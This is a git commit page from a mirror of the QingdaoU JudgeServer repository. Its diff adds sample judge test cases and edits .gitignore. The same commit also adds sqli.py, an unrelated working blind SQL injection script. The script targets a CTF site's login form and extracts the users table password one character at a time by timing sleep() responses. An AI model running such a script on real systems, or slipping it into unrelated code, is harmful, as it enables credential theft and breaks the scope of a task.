mirror of
https://github.com/QingdaoU/JudgeServer.git
synced 2024-12-29 14:11:44 +00:00
增加测试用的test_case
This commit is contained in:
parent
b03e9e3b30
commit
083ded3f60
3
.gitignore
vendored
3
.gitignore
vendored
@ -61,7 +61,6 @@ static/release/img
|
||||
static/src/upload_image/*
|
||||
build.txt
|
||||
tmp/
|
||||
test_case/
|
||||
release/
|
||||
upload/
|
||||
custom_settings.py
|
||||
@ -69,4 +68,4 @@ docker-compose.yml
|
||||
*.zip
|
||||
rsyncd.passwd
|
||||
|
||||
node_modules/
|
||||
node_modules/
|
||||
|
29
sqli.py
Normal file
29
sqli.py
Normal file
@ -0,0 +1,29 @@
|
||||
# -*- coding:utf-8 -*-
|
||||
|
||||
import requests
|
||||
import time
|
||||
|
||||
url = "http://web.l-ctf.com:6699/sh0p.php"
|
||||
ABC_DICT = [1, 2, 3, 4, 5, 6, 7, 8, 9, 0, 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o',
|
||||
'p',
|
||||
'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '_', '{', '}', '-', ' ', '(', ')', '[', ']', '&', '^',
|
||||
'%', '$', '@', '!', '<', '>', '?', '~', '*', '+', '=', '`', '#']
|
||||
num = 0
|
||||
while 1:
|
||||
for abc in ABC_DICT:
|
||||
start = time.time()
|
||||
data = {
|
||||
"submit": "Submit",
|
||||
"uname": "flag'/*",
|
||||
"passwd": "1112*//**/union/**//** lselectect/**/1,IF(SUBSTRING((SESELECTLECT/**/password/**/FROM/**/users)/**/," +
|
||||
str(num) + ",1)='" +
|
||||
str(abc) + "',sleep(4),1)#"
|
||||
}
|
||||
if num in (1, 5, 10, 11):
|
||||
#print data
|
||||
res = requests.post(url, data=data)
|
||||
stop = time.time()
|
||||
if stop - start > 4 :
|
||||
print str(num) + "-------time:" + str(stop - start) + "-------" + str(abc)
|
||||
|
||||
num += 1
|
1
tests/test_case/normal/1.in
Executable file
1
tests/test_case/normal/1.in
Executable file
@ -0,0 +1 @@
|
||||
1 2
|
1
tests/test_case/normal/1.out
Executable file
1
tests/test_case/normal/1.out
Executable file
@ -0,0 +1 @@
|
||||
3
|
1
tests/test_case/normal/info
Executable file
1
tests/test_case/normal/info
Executable file
@ -0,0 +1 @@
|
||||
{"test_case_number": 1, "spj": false, "test_cases": {"1": {"striped_output_md5": "eccbc87e4b5ce2fe28308fd9f2a7baf3", "output_size": 2, "output_md5": "6d7fce9fee471194aa8b5b6e47267f03", "input_name": "1.in", "input_size": 4, "output_name": "1.out"}}}
|
1
tests/test_case/spj/1.in
Executable file
1
tests/test_case/spj/1.in
Executable file
@ -0,0 +1 @@
|
||||
1 2
|
1
tests/test_case/spj/info
Executable file
1
tests/test_case/spj/info
Executable file
@ -0,0 +1 @@
|
||||
{"test_case_number": 1, "spj": true, "test_cases": {"1": {"input_name": "1.in", "input_size": 4}}}
|
6
tests/test_case/spj/spj-1.c
Normal file
6
tests/test_case/spj/spj-1.c
Normal file
@ -0,0 +1,6 @@
|
||||
|
||||
#include <stdio.h>
|
||||
int main(){
|
||||
return 1;
|
||||
}
|
||||
|
Loading…
Reference in New Issue
Block a user